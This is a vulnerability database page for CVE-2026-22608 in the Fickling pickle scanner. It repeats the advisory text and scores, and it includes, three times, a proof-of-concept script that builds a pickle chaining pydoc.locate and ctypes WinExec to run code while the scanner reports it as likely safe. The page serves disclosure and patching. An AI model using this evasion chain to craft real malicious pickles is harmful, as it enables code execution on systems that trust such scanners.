CVE-2026-22608
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.9
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
- Record
CVE-2026-22608- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-184, CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2026-1686
8.9
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
- Record
EUVD-2026-1686- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5hvc-6wx8-mvv4
8.9
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
- Record
GHSA-5hvc-6wx8-mvv4- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-184, CWE-502
- Updated
- 2026-11-02
NVD
8.9
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
- Record
CVE-2026-22608- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-184, CWE-502
- Updated
- 2026-11-02
OSV
8.9
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.
- Record
CVE-2026-22608- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-184, CWE-502
- Updated
- 2026-11-02
OSVGHSA-5hvc-6wx8-mvv4
8.9
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
- Record
GHSA-5hvc-6wx8-mvv4- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-184, CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2026-1369
8.9
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
- Record
PYSEC-2026-1369- CVSS 4.0
- 8.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22608 is a high vulnerability (CVSS 8.9) in Trailofbits Fickling, published January 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in fickling 0.1.7.
References
github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4
github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1
github.com/trailofbits/fickling/releases/tag/v0.1.7
github.com/trailofbits/fickling/pull/195
github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6
github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py